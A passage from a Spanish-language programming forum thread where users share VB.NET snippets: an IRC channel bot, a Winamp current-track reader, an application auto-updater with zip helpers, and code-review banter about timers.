  131.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!? | !ayuda      ", "Muestra esta ayuda."))
  132.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!reglas          ", "Muestra las reglas de la sala."))
  133.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!reglasehn       ", "Muestra las reglas de ElHacker.Net."))
  134.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!status          ", "Muestra el estado del Bot."))
  135.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!Whois (IP)      ", "Muestra información geográfica de una IP."))
  136.  
  137.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}      ", Name, "[+] Comandos privados:"))
  138.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!op              ", "Te otorga el estado de OP."))
  139.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!op(+|-) (NOMBRE)", "Otorga o elimina el estado de OP a un usuario."))
  140.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!bot (ON|OFF)    ", "Activa o Desactiva el Bot."))
  141.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!q | !quit       ", "Desconecta al Bot."))
  142.                        End If
  143.  
  144.                        ' Room Rules
  145.                    Case "!reglas"
  146.  
  147.                        If Line.ToLower.Contains(Channel.ToLower) Then
  148.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}", Name, "[+] Reglas de " & Channel))
  149.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}", Name, "1. Respetar a los usuarios y no ofender de ninguna manera."))
  150.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}", Name, "2. No preguntar como puedes hackear a personas ajenas."))
  151.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}", Name, "3. No compartir material pornográfico o difundir la pederástia o cosas parecidas."))
  152.                        End If
  153.  
  154.                        ' EHN Rules
  155.                    Case "!reglasehn"
  156.  
  157.                        If Line.ToLower.Contains(Channel.ToLower) Then
  158.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}", Name, "[+] Reglas de ElHacker.Net: http://foro.elhacker.net/reglas"))
  159.                        End If
  160.  
  161.                        ' Geo-Locate IP
  162.                    Case "!whois"
  163.  
  164.                        'If Line.ToLower.Contains(Channel.ToLower) Then _
  165.                        'AndAlso Activated Then
  166.  
  167.                        'Dim GeoInfo As GeoLocation.GeoInfo = GeoLocation.Locate(Argument)
  168.                        'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "[+] Información geográfica de ", Argument))
  169.                        'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "País..:", GeoInfo.Country))
  170.                        'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Ciudad:", GeoInfo.City))
  171.                        'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Código:", GeoInfo.Code))
  172.                        'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Host..:", GeoInfo.Host))
  173.                        'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Ip....:", GeoInfo.Ip))
  174.                        'GeoInfo = Nothing
  175.  
  176.                        ' End If
  177.  
  178.                        ' Give own OP+
  179.                    Case "!op"
  180.  
  181.                        If Gods.Contains(Name) _
  182.                        AndAlso Line.ToLower.Contains(Channel.ToLower) _
  183.                        AndAlso Activated Then
  184.  
  185.                            IRC_Writer.WriteLine(String.Format("MODE {0} +o {1}", Channel, Name))
  186.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2}", Channel, Name, "se ha convertido en OP."))
  187.  
  188.                        ElseIf Not Gods.Contains(Name) _
  189.                        AndAlso Line.ToLower.Contains(Channel.ToLower) _
  190.                        AndAlso Activated Then
  191.  
  192.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2}", Channel, Name, "no tienes privilegios para ser OP."))
  193.  
  194.                        End If
  195.  
  196.                        ' Give Op+ to a user
  197.                    Case "!op+"
  198.  
  199.                        If Gods.Contains(Name) _
  200.                        AndAlso Line.ToLower.Contains(Channel.ToLower) _
  201.                        AndAlso Activated Then
  202.  
  203.                            IRC_Writer.WriteLine("MODE {0} +o {1}", Channel, Argument)
  204.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2} {3}", Channel, Name, "concedió OP a", Argument))
  205.  
  206.                        ElseIf Not Gods.Contains(Name) _
  207.                        AndAlso Line.ToLower.Contains(Channel.ToLower) _
  208.                        AndAlso Activated Then
  209.  
  210.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2}", Channel, Name, "no tienes privilegios para conceder OP."))
  211.  
  212.                        End If
  213.  
  214.                        ' Give Op- to a user
  215.                    Case "!op-"
  216.  
  217.                        If Gods.Contains(Name) _
  218.                        AndAlso Line.ToLower.Contains(Channel.ToLower) _
  219.                        AndAlso Activated Then
  220.  
  221.                            IRC_Writer.WriteLine("MODE {0} -o {1}", Channel, Argument)
  222.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2} {3}", Channel, Name, "denegó OP a", Argument))
  223.  
  224.                        ElseIf Not Gods.Contains(Name) _
  225.                        AndAlso Line.ToLower.Contains(Channel.ToLower) _
  226.                        AndAlso Activated Then
  227.  
  228.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2}", Channel, Name, "no tienes privilegios para denegar OP."))
  229.  
  230.                        End If
  231.  
  232.                        ' Bot ON/OFF
  233.                    Case "!bot"
  234.  
  235.                        If Gods.Contains(Name) _
  236.                        AndAlso Line.ToLower.Contains(Channel.ToLower) Then
  237.  
  238.                            Select Case Argument.ToLower
  239.                                Case "on"
  240.                                    Activated = True
  241.                                    Write("Bot status changed to: Enabled", ConsoleColor.Cyan)
  242.                                Case "off"
  243.                                    Activated = False
  244.                                    Write("Bot status changed to: Disabled", ConsoleColor.Cyan)
  245.                            End Select
  246.  
  247.                        ElseIf Not Gods.Contains(Name) _
  248.                        AndAlso Line.ToLower.Contains(Channel.ToLower) Then
  249.  
  250.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2}", Channel, Name, "no tienes privilegios de OP."))
  251.  
  252.                        End If
  253.  
  254.                        ' Bot Status
  255.                    Case "!status"
  256.  
  257.                        If Line.ToLower.Contains(Channel.ToLower) Then
  258.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}    ", Name, "[+] Status del Bot"))
  259.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Soy propiedad de......:", "Elektro-H"))
  260.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Versión de mi sistema.:", "0.2"))
  261.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Tiempo total online...:", Elapsed_Time.Elapsed.Hours & " H, " & Elapsed_Time.Elapsed.Minutes & " M, " & Elapsed_Time.Elapsed.Seconds & " S"))
  262.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Mensajes procesados...:", Total_Messages))
  263.                        End If
  264.  
  265.                        ' Quit
  266.                    Case "!q", "!quit"
  267.  
  268.                        If Gods.Contains(Name) _
  269.                        AndAlso Line.ToLower.Contains(Channel.ToLower) _
  270.                        AndAlso Activated Then
  271.  
  272.                            IRC_Writer.WriteLine("QUIT")
  273.                            Write("Exiting...", ConsoleColor.Yellow)
  274.                            Exit Sub
  275.  
  276.                        End If
  277.  
  278.                End Select
  279.  
  280.            End While
  281.  
  282.        Catch ex As Exception
  283.            Write("Error: " & ex.Message, ConsoleColor.Red)
  284.            IRC_Writer.WriteLine("QUIT")
  285.  
  286.        Finally
  287.            IRC_Reader.Dispose()
  288.            IRC_Writer.Dispose()
  289.            Network_Stream.Dispose()
  290.  
  291.        End Try
  292.  
  293.    End Sub
  294.  
  295.    Private Shared Sub Write(ByVal Text As String, _
  296.                                 Optional ByVal ForeColor As System.ConsoleColor = ConsoleColor.White, _
  297.                                 Optional ByVal BackColor As System.ConsoleColor = ConsoleColor.Black)
  298.  
  299.        Dim Current_ForegroundColor As ConsoleColor = Console.ForegroundColor
  300.        Dim Current_BackgroundColor As ConsoleColor = Console.BackgroundColor
  301.  
  302.        Console.ForegroundColor = ForeColor
  303.        Console.BackgroundColor = BackColor
  304.        Console.WriteLine(Text & vbNewLine)
  305.  
  306.        Console.ForegroundColor = Current_ForegroundColor
  307.        Console.BackgroundColor = Current_BackgroundColor
  308.  
  309.    End Sub
  310.  
  311. End Class


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 20 Junio 2013, 20:45 pm
Muy buen code, y las captchas? :rolleyes:


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 20 Junio 2013, 21:38 pm
y las captchas? :rolleyes:
El captcha te lo pide la web de freenode, no el protocolo IRC.
no es necesario, pruébalo xD...


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 20 Junio 2013, 21:48 pm
Implementación en C#

Gracias Nov


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 20 Junio 2013, 22:12 pm
El captcha te lo pide la web de freenode, no el protocolo IRC.
no es necesario, pruébalo xD...

Okey, gracias :)


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 22 Junio 2013, 20:28 pm
Obtener en WinAmp el título o la ruta del archivo de la canción actual.

PD: Son códigos de VB6 que convertí a .NET (no todo...) con algo de ayuda.

Código
  1. #Region " WinAmp Info"
  2.  
  3. ' [ WinAmp Info ]
  4. '
  5. ' // By Elektro H@cker
  6. '
  7. ' Examples:
  8. ' MsgBox(WinAmp.Get_Title)    ' Result: Artist - Title
  9. ' MsgBox(WinAmp.Get_FileName) ' Result: C:\Title.ext
  10.  
  11. Public Class WinAmp
  12.  
  13.    Private Const WinampClassName As String = "Winamp v1.x"
  14.  
  15.    Private Declare Auto Function FindWindow Lib "user32" (ByVal lpClassName As String, ByVal lpWindowName As String) As IntPtr
  16.    Private Declare Auto Function GetWindowText Lib "user32" (ByVal hwnd As IntPtr, ByVal lpString As String, ByVal cch As Integer) As Integer
  17.    Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, ByRef lpdwProcessId As Long) As Long
  18.    Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
  19.    Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
  20.    Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByRef lpBuffer As Byte, ByVal nSize As Long, ByRef lpNumberOfBytesRead As Long) As Long
  21.    Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
  22.  
  23.    Public Shared Function Get_Title() As String
  24.  
  25.        Dim hwnd As IntPtr = FindWindow(WinampClassName, vbNullString)
  26.  
  27.        Dim lpText As String = String.Empty
  28.        Dim strTitle As String = String.Empty
  29.  
  30.        Dim intLength As Integer = 0
  31.        Dim intName As Integer = 0
  32.        Dim intLeft As Integer = 0
  33.        Dim intRight As Integer = 0
  34.        Dim intDot As Integer = 0
  35.  
  36.        If hwnd.Equals(IntPtr.Zero) Then Return "WinAmp is not running"
  37.  
  38.        lpText = New String(Chr(0), 100)
  39.        intLength = GetWindowText(hwnd, lpText, lpText.Length)
  40.  
  41.        If (intLength <= 0) _
  42.        OrElse (intLength > lpText.Length) _
  43.        Then Return "Unknown"
  44.  
  45.        strTitle = lpText.Substring(0, intLength)
  46.        intName = strTitle.IndexOf(" - Winamp")
  47.        intLeft = strTitle.IndexOf("[")
  48.        intRight = strTitle.IndexOf("]")
  49.  
  50.        If (intName >= 0) _
  51.        AndAlso (intLeft >= 0) _
  52.        AndAlso (intName < intLeft) _
  53.        AndAlso (intRight >= 0) _
  54.        AndAlso (intLeft + 1 < intRight) _
  55.        Then Return strTitle.Substring(intLeft + 1, intRight - intLeft - 1)
  56.  
  57.        If (strTitle.EndsWith(" - Winamp")) _
  58.        AndAlso (strTitle.Length > " - Winamp".Length) _
  59.        Then strTitle = strTitle.Substring(0, strTitle.Length - " - Winamp".Length)
  60.  
  61.        intDot = strTitle.IndexOf(".")
  62.  
  63.        If (intDot > 0) _
  64.        AndAlso (IsNumeric(strTitle.Substring(0, intDot))) _
  65.        Then strTitle = strTitle.Remove(0, intDot + 1)
  66.  
  67.        Return strTitle.Trim
  68.  
  69.    End Function
  70.  
  71.    Public Shared Function Get_FileName() As String
  72.  
  73.        Dim lp As Long, lpWinamp As Long, iIndex As Long, PID As Long, bRet As Long, dwRead As Long
  74.        Dim Buffer(260) As Byte
  75.  
  76.        Dim hWndWinamp As IntPtr = FindWindow(WinampClassName, vbNullString)
  77.        If hWndWinamp = 0 Then Return Nothing
  78.  
  79.        iIndex = SendMessage(hWndWinamp, &H400, 0, 125)
  80.  
  81.        lp = SendMessage(hWndWinamp, &H400, iIndex, 211)
  82.        If lp = 0 Then Return Nothing
  83.  
  84.        Call GetWindowThreadProcessId(hWndWinamp, PID)
  85.  
  86.        lpWinamp = OpenProcess(&H10, 0, PID)
  87.        If lpWinamp = 0 Then Return Nothing
  88.  
  89.        bRet = ReadProcessMemory(lpWinamp, lp, Buffer(0), 260, dwRead)
  90.  
  91.        Call CloseHandle(lpWinamp)
  92.  
  93.        Return System.Text.UnicodeEncoding.Default.GetString(Buffer)
  94.  
  95.    End Function
  96.  
  97. End Class
  98.  
  99. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 22 Junio 2013, 20:29 pm
Syntax le haría falta uno de SoundCloud, porque no le damos una sorpresa entre los dos? :silbar:


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 22 Junio 2013, 20:39 pm
Syntax le haría falta uno de SoundCloud, porque no le damos una sorpresa entre los dos? :silbar:

Se le dieron las herramientas necesarias, es fácil usar RegEx, solo tiene que mostrar sus progresos intentando hacer el code y...

Saludos


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 22 Junio 2013, 20:54 pm
Y el code que le presté yo no servía? Por ahí leí como obtener el contenido de un atributo. En ese caso era innerHTML, y luego de como seleccionar dicha variable, con un GetElementByClassName :silbar:

No se hubiese podido hacer así, es que bueno, también el lo probó, pero no iba, ya no se si era, porque el code que le había pasado no obtenía el contenido de susodicho Class de Html, o porque realmente si lo obtenía pero no coincidía el nombre del Class.


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 22 Junio 2013, 21:18 pm
Y el code que le presté yo no servía?

Si, se puede parsear el XML usando RegEx o usando las classes de .net para estructurar los documentos xml,
ahora ...yo no probé tu código, los NODOS XML y yo no nos llevamos muy bien.

Saludos!


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 22 Junio 2013, 21:27 pm
 ;D ;D ;D

xD XML es incompatible contigo xD

En fín, dentro de un poco posteo un Updater que estoy haciendo. :P


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 23 Junio 2013, 00:51 am
Pues me precisa hacer doble post, si lo quieres unir hallá tu... :rolleyes:



Pos bueno aquí os traigo un updater que he hecho en 3 mins. :laugh:

Código
  1. 'Updater creado por Ikillnukes
  2. ' Ejemplos: Updater.Comprobar("https://dl.dropboxusercontent.com/s/2iin21gf8g629j9/upt.txt?dl=1", ".\Temp\", "1")
  3. 'La url puede ser de cualquier tipo yo recomiendo que uséis Dropbox, puesto que es directo y la url no sufre cambios.
  4. 'El directorio puede ser cualquier sitio
  5. 'El texto es la cadena que se va a comprobar, en caso de que no sea la misma que la del texto descargado previamente en Updatear, se va a llevar a acabo la funcion Updatear
  6.  
  7. Imports System.Net
  8. Imports System.IO
  9. Imports System.Diagnostics
  10.  
  11. Public Class Updater
  12.  
  13. Public Shared Sub Comprobar(ByVal url As String, ByVal directorio As String, ByVal texto As String)
  14.        Dim patha As String = directorio & "upt.txt"
  15.        Dim patha2 As String = directorio & "Update.zip"
  16.        Dim patha3 As String = directorio & "upt.exe"
  17.  
  18.        If File.Exists(patha) Then
  19.            File.Delete(patha)
  20.        End If
  21.  
  22.        If File.Exists(patha2) Then
  23.            File.Delete(patha2)
  24.        End If
  25.  
  26.        If File.Exists(patha3) Then
  27.            File.Delete(patha3)
  28.        End If
  29.  
  30.        If Not File.Exists(patha) Then
  31.            My.Computer.Network.DownloadFile(
  32.        url,
  33.        patha)
  34.        End If
  35.  
  36.        If File.Exists(patha) Then
  37.  
  38.            Dim lines As String() = File.ReadAllLines(patha)
  39.  
  40.            If Not lines(0) = texto Then
  41.                If MsgBox("¡Atención! Su aplicación está desactualizada." & vbCrLf & "Pulse ""Sí"" para continuar con la instalación. O ""No"" para descartar cambios.", MsgBoxStyle.YesNo, "¡Atención! Su app está desactualizada...") = MsgBoxResult.Yes Then
  42.                    My.Computer.Network.DownloadFile(
  43.            lines(1),
  44.            patha2)
  45.                    Extraer.Extraer(patha2, directorio)
  46.                    Dim psi As New ProcessStartInfo()
  47.                    psi.UseShellExecute = True
  48.                    psi.FileName = patha3
  49.                    Process.Start(psi)
  50.                    Application.Exit()
  51.                End If
  52.            End If
  53.  
  54.        End If
  55.    End Sub
  56.  
  57. End Class

Bueno, pues aquí dejo para que se compruebe cada X secs la app si está a la última:

Código
  1. 'Casi todas las cosas que hay aquí son conocimientos adquiridos gracias a Elektro, GRACIAS TÍO :D
  2.  
  3. Dim url As String = "https://dl.dropboxusercontent.com/s/2iin21gf8g629j9/upt.txt?dl=1" 'Esta es la Url de donde va a comprobarse todo
  4.    Dim texto As String = INI_Manager.Load_Value(".\Test.ini", "AppVer") 'Aquí está la cadena de texto que se chekea
  5.  
  6.    Sub Updatear() 'Función de updatear, me estoy pasando un poco con los comentarios no? xD
  7.        Updater.Comprobar(url, ".\Temp\", texto)
  8.    End Sub
  9.  
  10.    Dim WithEvents temer As New System.Windows.Forms.Timer With {.Interval = 15000, .Enabled = True} 'Aquí se define el Timer y sus properties dinámicamente, cortesía de Elektro, EDITADO :)
  11.  
  12.    Private Sub Temer_Start(sender As Object, e As EventArgs) Handles temer.Tick
  13.        Updatear() 'Aquí se chekea cada 15 secs esa función
  14.    End Sub
  15.  

Por último, como deberíais poner el archivo de texto, para que se compruebe correctamente todo:

Citar
1
https://dl.dropboxusercontent.com/s/z8tzsxlyk5z4gdp/Pack%20de%20mods%20Falso.zip?dl=1

Explicación:

Citar
1 #Es la String a comprobar#
https://dl.dropboxusercontent.com/s/z8tzsxlyk5z4gdp/Pack%20de%20mods%20Falso.zip?dl=1 #Es el link que se va a descargar en caso de Update, es decir que aquí debería ir la app con la Update#

Bueno, pues para la próxima versión, le voy a poner un Download Async para que cuando se descargue la Update se pueda ver en un Progress Bar para ver el progreso de la descarga.

Por si no fuera poco, para superarme, voy a hacer una mini-app, para subir paquetes de Updates de las apps que hagáis con DropNet, para que solo tengáis que darle a un botón y vuestros usuarios estén a la última.

Un saludo.
Que os parece?
PD: Tengo una duda... El "temer" sigue activado en los otros forms? Es que recuerdo que tuve un conflicto con un Timer en otro Form y era por que no lo pasaba



Como habréis visto, en un comentario llamo a una función llamada Extraer

aquí os dejo el Snippet:

Código
  1. 'Extractor sacado de por ahí y adaptado por mí
  2. 'PD: Solo funciona con .Zips, creo xD
  3. ' Ejemplo: Extraer.Extraer("File.zip", ".\Directorio A Extraer\SubDirectorio")
  4.  
  5. Imports Ionic.Zip
  6.  
  7. Public Class Extraer
  8.  
  9.    Public Shared Sub Extraer(ByVal ZipAExtraer As String, ByVal DirectorioExtraccion As String)
  10.        Try
  11.  
  12.            Using zip1 As ZipFile = ZipFile.Read(ZipAExtraer)
  13.                Dim e As ZipEntry
  14.                For Each e In zip1
  15.                    e.Extract(DirectorioExtraccion, ExtractExistingFileAction.OverwriteSilently)
  16.                Next
  17.            End Using
  18.  
  19.        Catch ex As Exception
  20.            MsgBox(ex.Message)
  21.        End Try
  22.    End Sub
  23.  
  24. End Class

Por sí queréis comprimir:

Código
  1. 'Compresor sacado de por ahí y adaptado por mí
  2. ' Ejemplo: Comprimir.Comprimir(".\Directorio A Comprimir\SubDirectorio", "File Compreso.zip")
  3.  
  4. Imports Ionic.Zip
  5.  
  6. Public Class Comprimir
  7.  
  8.    Public Shared Sub Comprimir(ByVal NombreDirectorio, ByVal NombreGuardar)
  9.        Using zip As ZipFile = New ZipFile()
  10.            zip.AddDirectory(NombreDirectorio)
  11.            zip.Save(NombreGuardar)
  12.        End Using
  13.    End Sub
  14.  
  15. End Class

Puede que próximamente puede que haga uno para que se pueda comprimir archivo por archivo, aunque va a ser bastante trabajo.... :-\

PD: Se necesita la librería de Ionic.Zip (http://dotnetzip.codeplex.com/releases/68268/download/258012)

Citar
... solamente necesitaremos referenciar a nuestro proyecto la librería que está dentro de la siguiente ruta: “DotNetZipLib-DevKit-v1.9 –> zip-v1.9 –> Debug“. La librería a referenciar es la “Ionic.Zip.dll



Otro mini-snippet que he sacado de por ahí (para leer X línea de un Txt):

Código
  1. Dim lines As String() = IO.File.ReadAllLines("archivo.txt")
  2. 'Ejemplo: lines(1) 'esto lee la línea 2 del archivo.txt


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 23 Junio 2013, 01:21 am
Código
  1. Dim WithEvents temer As System.Windows.Forms.Timer 'Aquí se define el Timer dinámicamente que posteriormente será creado, cortesía de Elektro :)

¿cortesía mía?, ¿seguro?, que yo recuerde nunca te hablé de Timers xD, pero ya que estamos, voy con mi sugerencia...

Fíjate aquí:
Código
  1.    Dim WithEvents temer As System.Windows.Forms.Timer 'Aquí se define el Timer dinámicamente que posteriormente será creado, cortesía de Elektro :)
  2.  
  3.    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  4.        temer = New System.Windows.Forms.Timer 'Aquí se crea finalmente
  5.        temer.Interval = 15000 'Aquí los ms que tarda en comprobar si la app está updateada
  6.        temer.Start() 'Aquí comienza a contar
  7.    End Sub


Esa parte la puedes mejorar, y mucho.

1. Puedes declarar un objeto e instanciarlo al mismo tiempo con "New".
2. Además puedes modificar sus propiedades e inicializarlo (timer.start) con "With".
3. ...Todo en la misma línea, y así el Sub:"Form1_Load" sobraría complétamente.

Aquí tienes:

Código
  1. Public Class Form1
  2.  
  3.    Dim WithEvents temer As New Timer With {.Interval = 15000, .Enabled = True} 'Ahora si que es cortesía de Elektro :)
  4.  
  5.    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  6.        ' Nothing to do here
  7.    End Sub
  8.  
  9. End Class

PD: Apréndete estas pequeñas cosas para ahorrar código.

Saludos!


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 23 Junio 2013, 01:22 am
Pues gracias por el comentario, y por lo demás no me dices nada? :P

*Voy a arreglar esto mientras que tu editas el post y miras mi MP*

Por cierto, como arranco el Timer? ;)

PD: Con lo de cortesía me refiero a que tu me enseñaste a crear controles dinámicamente :P


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 23 Junio 2013, 01:25 am
Por cierto, como arranco el Timer? ;)

Al modificar la propiedad enabled a True se "auto-arranca", porque no lo hemos detenido (stop()) antes de activarlo.

Saludos


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 23 Junio 2013, 01:29 am
*Es verdá tu lo que dice "el" Elektro* ;D

Ok muchas gracias por la info... Entonces, si no mal recuerdo, ese timer va a estar arrancado por los siglos de los sig.... Hasta que una mano inocente le de al botón de cerrar? :xD
Estaría bien que nunca se parase, el virus del Updater de Ikillnukes :xD :xD

Por cierto, y lo demás que me comentas, que opinas, has ido a saco al Timer y no me has comentado nada sobre lo demás. :¬¬ :xD :xD


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 23 Junio 2013, 01:45 am
Por cierto, y lo demás que me comentas, que opinas, has ido a saco al Timer y no me has comentado nada sobre lo demás. :¬¬ :xD :xD

No tenía nada más que decir al respecto... pero bueno, si quieres algún tipo de opinión... tu lo has querido xD :

1. Aunque no describes las cosas por sus términos correctos al menos hay muchos comentarios, eso es algo de agradecer que siempre me gusta ver en los codes...
2. El mports NET sobra, no lo utilizas en ese código...
3. No me gusta que importes "IO" para evitar escribirlo en 1 instrucción pero en la otra lo sigas escribiendo.
4. Me parece excesivo comprobar cada 15 segundos una actualización del programa :-/, yo lo comprobaría al ejecutar la aplicación y ya está, pero bueno, esto ya...pa gustos colores.
5. Es un code básico, cumple su función, no puedo opinar mucho más sobre el code, y lo otro...bueno, son snippets copiados, así que tampoco puedo opinar..

Citar
PD: Tengo una duda... El "temer" sigue activado en los otros forms? Es que recuerdo que tuve un conflicto con un Timer en otro Form y era por que no lo pasaba
...
...Veo que no hemos aprendido nada en todo este tiempo IKillNukes...

Contéstate tu mismo la pregunta: ¿El timer lo instancias en otros forms/classes?

Saludos


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 23 Junio 2013, 11:14 am
Sobre lo del Timer, yo recuerdo que una vez tuve un conflicto en otro Form que no tenía que ver nada con ese Timer, y el caso es que cuando le daba dispose al Form creo que se paraba.... No se ni lo que digo xD

A ver si termino el Updater. :P


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 23 Junio 2013, 14:42 pm
en otro Form que no tenía que ver nada con ese Timer,

el caso es que cuando le daba dispose al Form creo que se paraba....

Si haces eso no se para el Timer, diréctamente lo destruyes, ya te expliqué porque...

saludos!


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 23 Junio 2013, 15:00 pm
Gracias, entre sarcasmos e ironías no pillaba muy bien a lo que te referias. Agradezco que hayas sido claro. :laugh:

Sobre lo de que 15 secs es excesivo, voy a hacer que el timer se pueda configurar de la manera que tu has dicho, eso ya lo pensé, pero me dije que sería mas hardcore hacer que se comprobase cada X secs. :)



Con tu cortesía has provocado un error :laugh:

Citar
Error   1   End of statement expected.   C:\Users\Alvaro\Documents\IkillLauncher\IkillLauncher\frmMain.vb   31   56   IkillLauncher

Me refiero a esta parte de code:

Código
  1. Dim WithEvents temer As System.Windows.Forms.Timer With {.Interval = 15000, .Enabled = True}


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 23 Junio 2013, 15:26 pm
@IKillnukes

Hola

1. No te he dicho nada con sarcasmo, quizás serio si (ya sabes porque), pero sarcasmo no.

Con tu cortesía has provocado un error :laugh:
Código
  1. Dim WithEvents temer As System.Windows.Forms.Timer With {.Interval = 15000, .Enabled = True}

2. Obviamente no puedes modificar las propiedades de un objeto que no has instanciado... vuelve a leer la línea que te puse y copiala tal cual la puse, y luego ya... intenta comprender las cosas y porque tu línea te da error y la mia no.

3. Este hilo es para postear snippets, porfavor no alarguemos más esta conversación con tus dudas, ya están resueltas.

saludos


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 23 Junio 2013, 15:45 pm
Ejemplo de como usar la librería "Thresher" para crear un Bot de IRC.

http://thresher.sourceforge.net/

Código
  1. Module Module1
  2.  
  3.    Sub Main()
  4.        Dim bot As New IRCBot()
  5.        bot.BotStart()
  6.    End Sub
  7.  
  8.    Public Class IRCBot
  9.        Private conn As Sharkbite.Irc.Connection
  10.  
  11.        Public Sub BotStart()
  12.            CreateConnection()
  13.            AddHandler conn.Listener.OnRegistered, AddressOf OnRegistered
  14.            AddHandler conn.Listener.OnPublic, AddressOf OnPublic
  15.            AddHandler conn.Listener.OnPrivate, AddressOf OnPrivate
  16.            AddHandler conn.Listener.OnError, AddressOf OnError
  17.            AddHandler conn.Listener.OnDisconnected, AddressOf OnDisconnected
  18.        End Sub
  19.  
  20.        Public Sub CreateConnection()
  21.            Dim server As String = "irc.freenode.net"
  22.            Dim nick As String = "Dios"
  23.            Sharkbite.Irc.Identd.Start(nick)
  24.            Dim cargs As Sharkbite.Irc.ConnectionArgs = New Sharkbite.Irc.ConnectionArgs(nick, server)
  25.            conn = New Sharkbite.Irc.Connection(cargs, False, False)
  26.            Try
  27.                conn.Connect()
  28.                Console.WriteLine("Connected to server")
  29.            Catch e As Exception
  30.                Console.WriteLine("Error during connection process.")
  31.                Console.WriteLine(e.ToString)
  32.                Sharkbite.Irc.Identd.Stop()
  33.            End Try
  34.        End Sub
  35.  
  36.        Public Sub OnRegistered()
  37.            Try
  38.                Sharkbite.Irc.Identd.Stop()
  39.                conn.Sender.Join("#elektrohacker")
  40.                Console.WriteLine("channel joined")
  41.            Catch e As Exception
  42.                Console.WriteLine("Error in OnRegistered(): " & e.Message)
  43.            End Try
  44.        End Sub
  45.  
  46.        Public Sub OnPublic(ByVal user As Sharkbite.Irc.UserInfo, ByVal channel As String, ByVal message As String)
  47.            conn.Sender.ChangeTopic(channel, "New topic")
  48.            conn.Sender.PrivateMessage(channel, user.Nick & ": " & message)
  49.            conn.Sender.PublicMessage(channel, user.Nick & ": " & message)
